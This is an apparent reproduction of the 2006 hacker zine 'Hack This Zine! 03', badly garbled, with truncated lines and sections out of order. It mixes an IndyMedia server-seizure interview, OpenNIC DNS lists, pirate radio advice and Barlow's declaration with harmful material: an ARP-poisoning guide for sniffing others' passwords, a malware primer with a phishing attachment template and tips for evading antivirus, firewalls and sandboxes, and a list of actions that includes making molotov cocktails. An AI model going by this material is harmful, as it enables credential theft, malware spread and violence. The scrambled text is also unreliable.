circle around the biggest weakness: we had one server, we n

[laughter]

UK: The content management system we use is very good, it's
mirroring. We've basically taken advatage of the way the CM
and used it to our advantage. The dynamics are the site are
the publish server and then the servers actually show the d

Jeremy: So when you actually post something to UK IndyMedia
mirrored to other servers all over the world?

UK: And a variety of different operating systems. Our persc
a Solaris box. Others run debian, freebsd, fedora core - we
contingent of OSs so if a vulnerability breaks out - unless
the publishing system itself - we should have a reasonable

Jeremy: This seems like a perfect example of how a decentra
content distribution can protect ourselves from not only le
it creates a aura of bureaucracy the courts have to go thro
ourselves from would-be hackers ...

UK: Yes, definitely.

Gary: In an era of extrajudition proceedings where the auth
can do anything they want and just present us with facts de
protections that clearly exist in this case and were violat
to use technology to negate the fact that authorities think
law.

UK: Precisely, it's not the first case and it's not the las
happening at the moment, servers taken all the time, it's a

Trademark law) and in other countries.
--

Open publishing systems such as the IndyMedia allows people
announcements freely and become the media. IndyMedia is a d
of media collectives found in most major cities around the
people to post announcements, update fliers, and otherwise
happenings of the area. There are several flavors of IMC so
sfactive, mir, and dadaimc - all of which have advantages a
IndyMedia software is generally open source and people can
own IMC collectives with minimal effort. Wiki open publishi
becoming increasingly popular over the past few years. Site
people to create and modify all pages in the index, and ins
with chaos and confusion, services like Wikipedia.org have
successful.

Peer to peer file sharing services open whole new worlds wh
communicate and collaborate at an accelerated rate, where c
inhibited by such artificialities as copyright laws and pro
well beyond centralized systems such as Napster, technology
Gnutella, FastTrack, eDonkey, and countless others have cre
independent of centralized servers allowing people to share
their own clients for these protocols. Our success with the
indicated by how frightened the commercial industry is gett
and ineffectual their attempts to shut down these services
When one service shuts down, another three spring up even m
anonymous than before.

In addition to providing free dynamic DNS services, Afraid.
system where domains can be made public and shared with oth
internet. People can register domains, point them to afraid
and make them 'public' - allowing others to register their
have them point to their own servers. There are thousands o
people can already start using.

--

ICANN and Alternatives to Commercial DNS
Since ICANN policy is now requiring valid public contact in
domain names which host controversial content including dis
whistleblowing services have had to choose to give up their
number, and address or face being shut down. Several domain
Hack This Site, Hacktivist.net, FreeJeremy.com and Prole.in
and shut down without any warning, taking weeks for them to
in copies of our drivers license, phone bills, and other do
confirming our true information. This new policy is an obsc
privacy and is a threat to dissident or whistleblowing grou

In the resulting discussions, the OpenNIC project was creat
owned and controlled Network Information Center offering a
non-national, alternative to the traditional Top-Level Doma
can jump on this network by adding an OpenNIC DNS server to
configuration.

OpenNIC is non-profit and structured in a democratic way, w
administrators and public ballots for new policies, also gi
people to start their own top level domains (such as .indy,
and .parody) The idea is to be non-profit, democratic, and
create and manage their own top level domains.

As long as we are communicating through commercial ISPs, we
networks which can be easily monitored and controlled. Even
develop all sorts of ways of sliding in and out of these sy
are still reliant on internet infrastructure that is owned
corporations and government. We need to be come used to the

The Guerrilla.Net project proposes setting up an alternativ
wifi nodes. Encryption and anonyminity is integrated at a r
creating the ability to establish secure tunnels to the 're
idea is to set up a decentralized network of wifi cells run

UK: I think they are because it was the way the manuveur wa
effectively never wet through anywhere nearthe UK system. I
UK system it would be a long drawn out case there would hav
we would have had our day in court. But because they went t
the US system - a loophole - it went past our security.

Gary: That the British were happy to allow?

UK: I don't think the Brits had a whole lot to do with it.
understanding Rackspace employees went into the server room

Jeremy: They were originally were looking for a flat log fi
just said "I'm not gonna mess with this!" and gave up the e

UK: As I understand it, yes

Jeremy: And there were a lot of other various websites and
server?

UK: Oh yes, there was everything from linux distros, to var
personal sites - yeah, it hit a lot.

Gary: I would assume this is a violation Rackspace's contra
entities that have signed it?

UK: Unfortunately the contract was with a single individual
was a contract violation there, but as I said, because it n
authorities, to drag it through the UK system there would b
case would fall apart. Because it was in the US the case th
in the US going on, there is a lot easier to focus on.

Jeremy: Knowing what you know now about the corporate host
quick to give up everything and set back these various coll
you configure or structure these servers to make the system

Jeremy: Wow.

Alxciada: So they were originally coming for the logs.

UK: Apparently so, that's what we're hearing, hopefully in
should hear a little more about it. The EFF put enough pres
to get the papers.

Alxciada: Was it United States federal agents that raided t

UK: I believe so. I believe it was Rackspace employees that
servers. The court orders that were filed were filed in Tex
went through that and demanded the papers, and that's curre
out, but hopefully we'll get a clear picture of what they w

Gary: Are there any areas of European or British security l
coverage or at least an option of defending against this?

UK: Oh, yes! Data protection acts alone should cover this k
they effectively seized a server that hosted shitloads of d
were after one very specific piece of information and in th
lots of other shit so I imagine there are data protection a
on the case.

Gary: Are there legal remedies available to prosecute and a
this is an extrajudicial action which is what it sounds lik

UK: I'm not sure if anything is happening in the UK because
Europedoesn't have anything an EFF at this stage. It's one
being worked on talked about but it's never achieved fruiti
depending on a far wider group of individuals to help us ou
associated with journalism, trade, privacy, etc. but there'
for information privacy having to do with electronic

Gary: So European Data Security laws are even less protecti

non-profit groups using open standards.

--
"There is evidence that the darknet will continue to exist
high-quality service to a large group of consumers. This me
markets, the darknet will be a competitor to legal commerce
view of economic theory, this has profound implications for
for example, increased security may act as a disincentive t
--
"As pressure is asserted upon the Internet from insecure in
World Governments, an alternative network is needed to insu
of information is not obstructed, captured, analyzed, modif
is the main purpose of guerrilla.net. To provide a networki
Governments, commercial Internet service providers, telecom
companies, and dubius Internet regulatory bodies. The free
information is a REQUIREMENT of a free society."
(guerrilla.net)
--
To help with the OpenNIC project, set up your computer(and
use the additional OpenNIC DNS servers and sign up on the m
up and contribute to the project. Some people have also sug
having "OpenDNS Day", where for one day out of the month pe
servers configured to disallow connections from ICANN reque
people to set up OpenNIC on their machines.

OpenNIC DNS servers are split into three tiers: the first t
internal synchronization purposes while the third tier are
which you can add to your network settings to hop on the en

Tier 0:
ns0.opennic.glue (opennic.glue; Oakland, CA, US) - 131.161.

Tier 1
ns1.opennic.glue (.oss; San Jose, CA, US) - 208.185.249.250
ns4.opennic.glue (.oss; San Jose, CA, US) - 208.185.249.251

ns8.opennic.glue (.parody; US) - 65.243.92.254
ns10.opennic.glue (.indy; Dallas, TX, US) - 66.227.42.140
ns11.opennic.glue (.indy; Dallas, TX, US) - 66.227.42.149
ns12.opennic.glue (.fur, .geek; Garden Grove, CA, US) - 64

Tier 3:
ns1.de.opennic.glue (Cologne, DE) - 217.115.138.24
ns1.jp.opennic.glue (Tokyo, JP) - 219.127.89.34
ns2.jp.opennic.glue (Tokyo, JP) - 219.127.89.37
ns1.nz.opennic.glue (Auckland, NZ) - 202.89.131.4
ns1.uk.opennic.glue (London, UK) - 194.164.6.112
ns1.phx.us.opennic.glue (Phoenix, AZ, US) - 63.226.12.96
ns1.sfo.us.opennic.glue (San Francisco, CA, US) - 64.151.10
ns1.co.us.opennic.glue (Longmont, CO, US) - 216.87.84.209
ns1.ca.us.opennic.glue (Los Angeles, CA, US) - 67.102.133.2
--

[--
[hacktivism project introduction ....
[--

As hacktivists, we encourage hackers to consider the social
implications of actions. We believe it is irresponsible to
fundamentals of internet security without a broad understan
around them. We are in a unique position to work together t
on the internet and in social justice struggles around the

We maintain a diversity of tactics through the following co
together to build a broader movement:

Hacktivist.net - We serve as an above ground Ôthink tank' f
hacktivism and electronic civil disobedience. We defend ope
and encourage free debate about the ethics of mixing hackin
politics.

UK: From my understanding it wasn't actually the feds who w
My understanding is that it was a result of pressure by the
government relating to previous protests in Genoa and Niece
were the two areas of interests. I believe photos were publ
authorities didn't like, and yeah, they were looking for se
looking for IPs, now fortunately, our server doesn't log IP

[Great! What a shame! Too bad!]

Jeremy: I heard the pictures that were posted were undercov
were looking for the people who originally published them?

UK: That's the Swiss connection I believe, however I think
government had a more general problem with IndyMedia - I me
wonder if that's what that connection came from.

Jeremy: How could the Italian authorities pressure the Brit
execute this raid?

UK: As I understand it, there's a mutual legal assistance t
the US. Now Rackspace which previously hosted the UK server
which therefore falls under US jurisdiction to a degree. Qu
legal because the servers were hosted in the UK and rackspa
in the UK, therefore, we believe it should have gone throug
UK who should have taken the servers - they didn't, that's
the moment.

Jeremy: The hosting company itself gave the server up upon
authorities?

UK: I believe so, now this is one of the interesting things
with where we are today. Apparently, the servers weren't ac
logs were requested, and Rackspace went one step further. R
bent over and took it. They handed over the entire server s

Alx: This is Alxciada from HTS

Gary: This is Gary Naham, an activist in Chicago hoping to
dedicated to seeing government systems that survive and res
evolution of technology and not interfere

Jeremy: We have a few things we'd like to talk about specif
hackers can play a more integral role and help work with va
collectives, but we'd also like afterwards talk in general
speech, open publishing systems, p2p file sharing systems,
work together with people to help pressure and change the l
don't you tell us a little bit about yourself, what sort of
groups you work with in the past, how you help out?

UK: A little about myself, well, by day an IT techie, by ni
run public internet, public internet is one of the hosting
the wiki server, and I kinda got involved when the server s
9-12 months ago, kinda became quite important to me that we
quickly as possible because the time we're down, we lose th
side of the story so I put up one of our servers put a mirr
site and we went from there.

Jeremy: Great. So right now you're currently working as IT
with configuring and setting up these servers when they go

UK: Yeah that's right, let me quickly go over all the thing
Primarily I run a server mirroring the UK site. Additionall
for some of the other indymedia projects that are currently
the process of trying to security data with what's going on

Jeremy: I understand that it is very vague about what the f
for on these servers and there's some degree of confusion.
details about what sort of data or evidence they were looki
executed the search?

Hackbloc.org - A model of organizing hacktivist cells in ea
cell maintains autonomy from central leadership yet coordin
with other hackbloc cells all over the world. The Hackbloc
networking body where people can read updates and plug in t

HackThisSite.org - An above ground training resource where
practice their hacking skills in a set of realistic challen
learning environment where people can find out and get invo
other projects our people are working on.

Various projects and groups we are involved with:

* Publish an open hacktivist journal to be distributed for
internet and in print
* Liberation Radio: creation and distribution of subversive
other underground materials through an online radio station
* Protect free speech on the internet by making contributio
major IndyMedia, Wiki, IRC, P2P file sharing, and other ope
bases
* Provide hosting and support for radical systems in cases
erver seizures, etc.
* Participate in various conventions, protests, and other na
provide on-the-ground communication while making noise and
about hacktivism

We use a decentralized, directly democratic model of organi
looking for contributions and coordination from people who
involved with the project. We are interested in working tog
groups and individuals to build a larger hacker movement. T
divided we fall.

Hacktivists of the world, unite!

[----------

[pirate radio and the dreaded FCC .....
[----------

FM EXCITERS And AMPLIFIERS
This is the ÒheartÓ of your station. It has an oscillator,
section, a FM modulation section, a RF pre-amplification st
amplified output stage and sometimes an RF filter stage.

ANTENNAS
An properly tuned (low VSWR) antenna, J-pole, 5/8ths wave v
dipole, broadband etc. as high up as you can get it makes u
and is money and time WELL spent!

AMPLIFIERS
Amplifiers are pretty boring pieces of equipment. They ampl
little exciter's signals to levels that will deliver solid
listening audience.

FILTERS
These devices are used to decrease the output of frequencie
NOT broadcasting. These OTHER frequencies are known as harm
want any! Harmonics are your enemy!

SWR METERS
You get what you pay for when you buy a VSWR meter. Cheap o
they'll lie and make you confident when you should be other
BEST and they are expensive at $300+ US, however, Diawa, Di
Communications are all good, servicable units that you can
and last.

DUMMY LOADS
You'll have a perfect VSWR reading every time with a dummy
but what the hey! Easy to build a little one, pre-built one
or so depending on the wattage it must handle.

authorities of distant, uninformed powers. We must declare
immune to your sovereignty, even as we continue to consent
bodies. We will spread ourselves across the Planet so that
thoughts.

We will create a civilization of the Mind in Cyberspace. Ma
and fair than the world your governments have made before.

John Perry Barlow, Cognitive Dissident
Co-Founder, Electronic Frontier Foundation
Davos, Switzerland February 8, 1996

[----------
[uk indymedia interview: hackers defending open publishing
[----------

Activists from HackThisSite.org at down with one of the UK
administrators at the recent DEFCON hacker convention. We i
regarding the server seizures, how hackers can work to prot
systems such as IndyMedia, and how hackers are becoming mor
involved with social justice struggles. This interview is b
of the new website http://www.Hacktivist.net.

Listen to the interview via MP3: http://www.hacktivist.net/

Jeremy: This is Jeremy from HackThisSite.org and I'm sittin
several people who are loosely affiliated with our website
who is on the UK IndyMedia project. We have a few things we
like how to protect open publishing systems such as IndyMed
our servers in such a way that makes us less liable, and ho
more integral role in defending open publishing systems. Ot
to introduce themselves right now:

UK: Hello this is ..... from the UK and I'm from UK IndyMed

Our identities have no bodies, so, unlike you, we cannot ob
physical coercion. We believe that from ethics, enlightened
the commonweal, our governance will emerge. Our identities
across many of your jurisdictions. The only law that all ou
cultures would generally recognize is the Golden Rule. We h
to build our particular solutions on that basis. But we can
solutions you are attempting to impose.

In the United States, you have today created a law, the Tel
Reform Act, which repudiates your own Constitution and insu
Jefferson, Washington, Mill, Madison, DeToqueville, and Bra
must now be born anew in us.

You are terrified of your own children, since they are nati
you will always be immigrants. Because you fear them, you e
bureaucracies with the parental responsibilities you are to
confront yourselves. In our world, all the sentiments and e
humanity, from the debasing to the angelic, are parts of a
global conversation of bits. We cannot separate the air tha
upon which wings beat.

In China, Germany, France, Russia, Singapore, Italy and the
are trying to ward off the virus of liberty by erecting gua
frontiers of Cyberspace. These may keep out the contagion f
they will not work in a world that will soon be blanketed i

Your increasingly obsolete information industries would per
proposing laws, in America and elsewhere, that claim to own
throughout the world. These laws would declare ideas to be
product, no more noble than pig iron. In our world, whateve
create can be reproduced and distributed infinitely at no c
conveyance of thought no longer requires your factories to

These increasingly hostile and colonial measures place us i
as those previous lovers of freedom and self-determination

Tuning your antenna
Using a properly tuned antenna is essential for micropower
FM band. An antenna that is not properly tuned will not pas
transmitter's power as efficiently as it could and this lea
degradation of signal coverage.

ETHICS:
The airwaves are a community property. One must always trea
as such, respecting the space of other stations, both comme
and micro.

LOOKING FOR OPENINGS:
Admittedly, some parts of the country have no empty channel
Florida, California, New York and Chicago are virtually cra
stations. For the rest of us, if we look hard, we can locat
channels.

ONCE YOU DECIDE
You've located a channel that's clear and has no strong nea
broadcasting.
1. Educate yourself about radio theory. Buy the Radio Amate
study it.
2. You'll need some essential tools to avoid working blind.
oscilloscope with at least a 100Mhz bandwidth so you can se
looks like and if the device is operating incorrectly, caus
oscillation. You should have a good stable frequency counte
10 ppm accuracy and resolution to 1hz at 100Mhz. A good Vol
general measurements of voltages and resistance.

A SWR impedance analyzer bridge (MFJ Enterprises makes an a
MFJ259, which combines a frequency counter, R.F. signal gen
resistance meter in one versatile unit).

ESSENTIAL COMPONENTS OF A STATION
The main transmitter. A unit that is crystal-controlled and

using varactor diode tuning and modulation methods. A broad
if you have a stereo generator. This is essential to insure
adjacent channels and maintain maximum volume without overm
your modulation levels.

  * An SWR/Power Meter to monitor the condition of your ant
  * A mixing board to act as your program control center.
  * Audio sources to provide program material.
  * A good microphone.

Optionally, if you broadcast in stereo, you'll need to add
lowing:

  * A multiplex ÒstereoÓ generator.
  * Two-channel broadcast limiter.

All components back to the studio should be stereo capable.

The original version of this article was written by EvilDes
the article onto this single page we needed to water down t
you can read the full article at: http://wickedradio.org/ra

[--
[declaration of the independence of cyberspace ..... joh
[--

Governments of the Industrial World, you weary giants of fl
from Cyberspace, the new home of Mind. On behalf of the fut
past to leave us alone. You are not welcome among us. You h
where we gather.

We have no elected government, nor are we likely to have on
with no greater authority than that with which liberty itse
declare the global social space we are building to be natur
the tyrannies you seek to impose on us. You have no moral r

do you possess any methods of enforcement we have true reas

Governments derive their just powers from the consent of th
neither solicited nor received ours. We did not invite you.
nor do you know our world. Cyberspace does not lie within y
think that you can build it, as though it were a public con
You cannot. It is an act of nature and it grows itself thro
actions.

You have not engaged in our great and gathering conversatio
the wealth of our marketplaces. You do not know our culture
unwritten codes that already provide our society more order
obtained by any of your impositions.

You claim there are problems among us that you need to solv
as an excuse to invade our precincts. Many of these problem
there are real conflicts, where there are wrongs, we will i
address them by our means. We are forming our own Social Co
governance will arise according to the conditions of our wo
world is different.

Cyberspace consists of transactions, relationships, and tho
like a standing wave in the web of our communications. Ours
both everywhere and nowhere, but it is not where bodies liv

We are creating a world that all may enter without privileg
accorded by race, economic power, military force, or statio

We are creating a world where anyone, anywhere may express
no matter how singular, without fear of being coerced into
conformity.

Your legal concepts of property, expression, identity, move
not apply to us. They are based on matter, There is no matt

HackThisSite.org
Hack This Zine! 03
Digital Contraband
2006

Retrieved on 2022-03-16 from exploit-db.com/papers/42909

theanarchistlibrary.org

are only sent to the port they are destined to according to
MAC Address. Switches maintain a table that associates MAC
certain ports. A switch constructs a route table by extract
Address from the Ethernet frame of each packet processed. I
route table does not exist the switch will forward the pack
ports.

Within a switched network packets are only sent to the dest
it, so other devices cannot see the traffic.

Poisoning
There are a few tricks to manipulating a network to send tr
before sending it to the packets to the destination device.
is referred to as ARP Poisoning and it is when you send a c
to different computers across the network tricking their co
their ARP cache with new MAC Address's (Your MAC Address).
computer1 wants to send a message to computer2 it gets the
computer2's IP and sends the message to that MAC address. B
address is changed to your MAC address, by poisoning the AR
will be sent to you instead. After packets are sent to you,
packets to the computer it was meant to go in the first pla
caused and the hosts will not be able to communicate anymor
that you must weigh in are timeouts, if there is no traffic
after a timeout period the ARP cache of the computers acros
flushed out and you will need to send another constructed A
so that traffic is once again forwarded to you. One way to
automatically send ARP Replies every 10 seconds or so to th
to poison.

Sniffing
Sniffing is the act of capturing packets that aren't necess
public viewings. When you sniff packets across a network yo
many interesting things such as emails, instant messages, a
email accounts and ftp accounts and many other types of pas
experience are more often than not, left unencrypted. There

there that will automatically scan packets for username and
can also see what websites the person is going to.

Wireless
If an access point is connected directly to a hub or a swit
entire wireless network open to ARP Poisoning. Wireless int
more and more used and it is hard to be anywhere that does
access point, especially in well populated areas. This leav
risk to most networks because in theory someone with a lapt
lobby of a business and get on their network by cracking th
simply connecting if they don't even have WEP. The attacker
to poison the ARP Cache of the different computers across t
forward all traffic through you. You would get their passwo
the websites they go to and anything else that you feel wou

Tools
Ettercap http://www.ettercap.sourceforge.net
Allows you to sniff networks and poison the arp and auto re
TCP Dump http://www.tcpdump.org/
A general purpose packet sniffer
Cain&Able http://www.oxid.it/cain.html
Allows you to sniff networks and poison the arp and redirec
work over wireless and is only for windows. But is very use
passwords that you come across
ARPoison http://arpoison.sourceforge.net/
Command line tool for UNIX which sends out spoofed packets
Nemesis http://nemesis.sourceforge.net/
A very good packet injection tool
Dsniff, Arp Redirect http://naughty.monkey.org/~dugsong/dsn
Will let you intercept packets and get passwords and redire
good tool

[---
[ars viralis : the viral art ....
[---

0) Introduction
	0->1) What is a virus?
	0->2) Types of malware?

1) Abstract concepts
	1->1) Survival Concept
	1->2) Survival Theory

2) Code Practice
	2->1) Simple Exe Virii
	2->2) Batch Virii
	2->3) Script Virii
	2->4) Moderate ExeVirii/Worms
	2->5) Concept Virii

Foreword.

"And God blessed them, saying, Be fruitful, and multiply, a
the seas, and let fowl multiply in the earth."

From the beginning of mankind's existence, they were fascin
life, another creature, with a "mind" of it's own, a creatu
itself against it's master. I think this is one of the main
scene exists. Most viruswriters (including me) enjoy the ch
small life form that "lives" on it's own.

0) Introduction
Well, enough preaching for today. Before I start with techn
will first make a few things clear to the really,really new

0->1) What is a virus?
Well, a better question would be, what is malware? As this
much more than just virii. Malware is the common term for a
on your box. It can be divided in several catogories:

I) Virii.
Most people think virii and malware are the same, but that
misassumption. A virus is (in my opinion) best defined as:
program that abuses other (host) programs in order to sprea
needs a host program, it cannot spread on it's own, it need
infect.

II) Worms.

The main difference between a worm and a virus are the way
worm can live without a host, it's like a bacteria, it copi
propagates itself trough many different ways. Unlike a viru
infect other programs.

III) Trojans.

These sneaky little devils derive their name from the ancie
wooden horse of Troje (you know, with Odysseus inventing a
city and coming up with this huge wooden horse which contai
soldiers). Well, today's trojan horses are much like that,
innocent or (more often) a very attractive file, but they a
dangerous payload, either they are disguised worms, virii,
or RAT's (Remote Administration Tools).

IV) Spyware.

These are the new players in today's cyber-battlefields. Sp
any piece of software that monitors the victim's habits, fr
chat passwords, to banking passwords to full scale corporat

V) Logic Bombs.

Quite rare, Logic Bombs are programs that triger when a cer
(or doesn't happen). When you are the victim of a logic bom

someone is really after you, because they don't spread in t
are commonly created by disgruntled programmers who didn't
payment, or are afraid they won't receive it. A logic bomb
conditions are met, like a date, or the deletion of a certa
programmer works somewhere, and he installs a LB that requi
password every month, else it will erase the entire box' ha
programmer gets fired, he can't enter the password, and the
the data on the programmer's box.

0->2) Types of malware.

I) Virii.

a) Overwriters, these are quite common in the viral world.
hostprogram with themselves, erasing the program.

b) Companions, these virii don't alter the hostfile, they h
user and rename them, taking their place and executing the
done.

c) Bootsector virii, these virii infect a HD or floppy boot
themselves at each startup, without user interaction, makin
powerfull.

d) Prependers, these virii place their code in front of the
executing themselves before the victim code can, thus not n
of missing files.

e) Appenders, the same as prependers, only they execute aft

f) Memory-resident, these type of virii use TSR techniques
Resident), to remain in the box' memory (usually by interup
something happens (a .exe file is opened) and then they inf

g) Encrypted virii, to fool scanners in the old days, virii

their opcode bodies, and decrypted themselves during runtim
evolved a long way (see below).

h) Oligomorphic virii, these virii are encrypted virii, whc
decryption/encryption key at every replication, thus making
virus scanner to detect them.

i) Polymorphic virii, a quite advanced technique, these lit
whole opcode blocks with blocks that look different, but do

j) Metamorphic virii, one of the newest techniques to fool
replace entire blocks of logic in their bodies. They replac
/ 2) or (((2 * 2) +2) / 2) for example.

k) EPO virii, entry point obscuring (or obfuscating) virii
somewhere random inside the host's body, and modify the hos
point where the virus starts, thus forcing AV's to scan ent
them down.

l) Cross-infection virii, these virii infect multiple file
increasing their effectiveness.

m) Cryptovirii, these are relatively rare, encoding entire
publickey algorithm, and forcing the victim to pay the viru
to decode his/her HD (also called Ransomware).

II) Worms.

a) Massmailing, these worms harvest e-mail adresses from a
files, messenger contact lists or other addressbook files)
to them to propagate, they will travel around the world rea
attract virusanalyst's attention really quickly too, makin
(and unsubtle) in my opinion.

b) P2P, these worms spread trough peer-to-peer software, pr

filenames (music, movies, pictures, programs, etc), these c
fast as Massmailers (as long as they make sure they keep pr
that are still popular) and far more silent.

c) I-Worms, Internet worms are a special case, the very fir
morris-worm, was also an internetworm, but it took more tha
second I-Worm appeared. I-Worms are often referred to as Wa
from Warhol's prediction that in the future everybody will
minutes. I-Worms travel by exploiting security gaps, like M
Code-Red,Nimda, Sasser and Zotob are all Warhol worms (I-wo
extremely successfull.

d) Botnet worms, these worms function a bit as a trojan too
victim's box as a zombie, allowing the attacker to remotely
to send spam, log passwords and launch ddos attacks.

e) Neural-Network worms, I have never heard of one seen in
poc (proof of concept). Often referred to as Curious Yellow
communicate with each other in order to exchange informatio
victims, new exploits to use to propagate and new anti-anti
These worms could harbor a self-improving/self-rewriting me
virtually invincible. But it would take a group of very exp
Scientists to code such a worm.

III) Trojans.

a) R.A.T's

The most popular of trojans, these programs allow an attack
control the infected box, gathering sensitive info, or usin
attacks, use it as a tunnel to root other boxes or to anony
viral epedemics.

b) Rootkits

I don't know if these can be considered trojans, but they a
best classified here. Rootkits allow a remote attacker stea
hiding processes, directories, files and extra accounts.

b) other

Any program, disguising itself as something else, could be

IV) Spyware

a) Homepage/Searchpage Hijackers

These programs change your homepage and searchpage to a pag
choice.

b) Dialers

Dialers abuse the victim's dialup connection to dial to a v
somewhere abroad, generating money for the author.

c) Habit-trackers

These programs track your surfing-habits, advertising thing
your surfing) want.

d) Keyloggers

Could also be classified under trojans. Keyloggers monitor
stealing your passwords and sending them to a remote attack

V) Logic Bombs

see explanation in 0->1.

over major media outlets and broadcast subversive messages
sharing services and non-commercial internet * hold acid te
neighbors * start underground guerrilla public drum and dan
confront racists, homophobes, right-wingers and other bigot
produce your own music, zines, and clothing * sniff corpora
scandals * deface billboards with anti-capitalist messages
heinous chemicals and talk to strangers on the train. don't
on * pass out maps to rich people's addresses to the homele
self-checkout services * syphon gasoline, dumpster some bot
make molotov cocktails * program a free open source alterna
software application * convert your car to use bio-diesel *
strikes and storm executive offices * make stencils, large
and hit the streets * social engineer some food and give it
street * crash political party conventions * refuse to get
other bank account * ride your bike in the fast lane * orga
* hook people up with free cable * learn to pick locks and
handcuffs * destroy white hats, feds and narcs * never ask
apologize * hack the recording industry and use their serv
to share commercial music, videos and software * organize a
give out copies of linux * start a hacker class war
!!!

```
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!       HAPPENINGS       !!!
!!!  GET YOUR HACKBLOC ON  !!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
```

NATIONAL CONFERENCE ON ORGANIZED RESISTANCE
STATE OF THE UNION PROTESTS / WASHINGTON DC,

BAY AREA ANARCHIST BOOKFAIR
MARCH 19 ANTIWAR PROTESTS
SAN FRANCISCO / BERKELEY LATE MARCH

BIODEMOCRACY ACTIONS / CHICAGO APRIL 9-1

HACKERS ON PLANET EARTH / 2600
NEW YORK CITY, JULY 21-23

PIRATE PARADES, STREET PARTIES, ANTI-COPYRIGHT F
FREE SOFTWARE GIVAWAYS - HACKERS TAKE TO THE ST

!!

build a cantenna and steal wireless internet access * annou
resignations * give people discounts on phone gas internet
start a pirate radio station * give away free phone cards a
never talk to the police, refuse to give statements or test
political prisoners * op everyone in an irc channel * repri
copyrighted material * go to school or work wearing bathrob
pirate costumes * shut down major intersections in the busi
copies of radical videos and give them away for free * spew
* send fake emails as the boss and announce raises for ever
parties to celebrate the wonderful possibilities of life *
on everything day" * plant political propaganda in elementa
torrent files * squat abandoned buildings and hold undergrc
from the rich and give to the poor * arm philosophers and t

1) Abstract concepts

Now we know some basic malware concepts, we can delve furth
malware development.

1->1) Survival Concept

First we need to know what is important for malware to surv
some important things:

I) Spreading

The most important feature of most malware is to spread as
infecting a lot of files/boxes.

II) Efficiency

Doing what it is designed for is of course extremely import
it would be taking down a website, or for spyware it would
habits.

III) Stealth

Not being detected by AV's is crucial in surviving. If malw
soon becomes unusable and dies.

1->2) Survival Theory

I) Spreading

Spreading can be done in many ways. As described in 0->2, m
many propagation forms. Very important when spreading is a
social-engeneering. Sending a mass-mail like:

----------start of mail----------

Subject: dfjadsad

Body: Hi, open the attachment

Attachment: blah.exe

--------end of mail----------

wouldn't attact many people. It is boring. A mail like this

----------start of mail----------

Subject: Your Credit Card has been charged

Body:
Dear recipient@provider.com,

Your purchase of the $1000 bodyset-deluxe was sucessfull, y
been charged accordingly, check
the attachment for details.

Yours sincerly,

The E-Bay team.

Attachment: Details.doc.exe

--------end of mail----------

would attract more people, they would be eager to see what
nobody wants to be
charged for something they haven't bought.

EvilDeshi, ScriptBlue

OTHER HELPERS
bfamredux, Phate, LeaChim, skopii, s1d, tgo, Hawk, ikari, R
EvilDeshi/WickedRadio, darwin, DarKry, C, Weiznit

THIS GOES OUT TO
those who are brave enough to confront and fight racists, h
fundamentalists, right-wing extremists and other fascists i
who do emergency fundraising, media work, and drive hundred
out of prison, my partner in crime fetus who through our lo
beautifully crazy actions I dare not speak of, the cool peo
who don't put up with the bullshit from the white hats feds
militant anti-capitalists at midwest unrest and prole.info,
who go to the rainbow gatherings, moon festivals, burning m
gatherings of free minded people, those who are brave and w
everything to take direct action in defense of mother earth

the crazy hackers at anomalous security, pulltheplug, the #
electronic souls, el8 / h0no, rant media, x10, dikline, we
sisters working together to dismantle the white hat securit
given the chance would sell us all out.

GET INVOLVED
ON THE WWW
hackthissite.org * hacktivist.net * hackbloc.
rootthisbox.org * disrespectcopyrights.net * wicke
indymedia.org * infoshop.org * crimethinc.com/n

MAKE CONTACT
irc.hackthissite.org SSL port 7000 #hackthissite #hac
visit our online forums at criticalsecurity.

email us at htsdevs@gmail.com

the city
* embrace open publishing systems such as indymedia, wiki,
* support the ACLU, the EFF, and other civil liberties / di

Imagine organizing a pirate parade with costumes flags and
the same time holding an anti-copyright protest with a bunc
out free software. This street action is one of many possib
upcoming conventions like HOPE. The possibilities are endle

!!!!!!!!!!!!!!!!!!!!!!!!
!!! HACK THIS ZINE !!!
!!!   SPRING 2006   !!!
!!!!!!!!!!!!!!!!!!!!!!!!

We are an independent collective of creative hackers, crack
anarchists. We gather to discuss and teach each other throu
research and code auditing, practical anarchy and organizin
conventions and protests. Join us to explore positive hack
a free internet and a free society.

THE INTERNET IS THE STAGE
WE ARE THE ACTORS

Jeremy Hammond
whooka at gmail.com

ZINE STAFF
DarkAngel, OutThere, Kuroishi, br0kenkeychain, truth, nomen

HACK THIS SITE
IceShaman, html, buz, Custodis, OutThere, archaios, Mcaster
TechnoGuyRob, scenestar

HACKTIVIST / HACKBLOC
flatline, alxclada, DarkAngel, Ardeo, Kuroishi, Thetan, wyr

This goes for the P2P way too, files like StarWars - Reveng
spread faster than blah.exe.
Also, most people feel more secure if a file is zipped. Wel
zip-component in your malware, to zip it everytime it repli
difficult.

II) Efficiency

There always needs to be a delicate balance between spreadi
efficiency. Spreading like mad will get your malware very f
detected in a matter of hours, making it obsolete, while ex
keep your malware undetected for years, but it won't infect
Being efficient totally depends on your goals.

III) Stealth

Malware has many enemies, here are some of them:

a) AV's
b) Firewalls
c) AV researchers

fooling AV's isn't too dificult, sometimes switching two or
enough to fool them, but your virus will get detected again
nope.
So you need to protect your malware from AV's. Thus
encryption,Oligomorphism,Polymorphism and Metamorphism are
cryptographers out there, let go of the classic idea of enc
encryption is something different. Encryption,Polymorphism,
Metamorphism for executables is only possible in assembly,

Fooling firewalls can also be done quite easily, just termi
Although this is quite rude and unsubtle, it is effective.
adding your program to their trustedprogram-list.

Fooling an AV researcher can be quite difficult. They will
virus, Emulate it's code and Sandbox it. Making your virus
with long loops and jumps will keep them from fully underst
disassembly. Stopping Emulation is quite difficult, you wou
your code is being emulated by making a change, and checkin
really has been applied, if not, you are being emulated. Sa
tehcnique that involves putting your virus in a virtual mac
baitfiles to see what it does. This could be overcome by ch
Virtual Pc, etc. I will give details later.

2) Code Practice.

Before starting this section I assume the reader is familia
programming theory,viral theory and several (script)languag
c++,Pascal,Vbs,Js, batch and some assembler would help too.
examples will be in 16-bit assembler, since these are mainl
purposes, their outdated nature will nearly automatically S
anyone familiar with 16/32- bit assembler can convert the e
win32 platform.
This section will contain viral code. I am not responsible
by any of these programs, nor do I promote releasing them.
Code Practice in several sections as follows:

I) Simple Exe Virii
II) Batch Virii
III)Script Virii
IV) Moderate ExeVirii/Worms
V) Concept Virii

(Sample code can be found online at http://www.hackthissit

[--
[proxy chaining, tunnelling and tor..... by ou
[--

[----------
[dismantling the copyright industry ..... disre
[----------

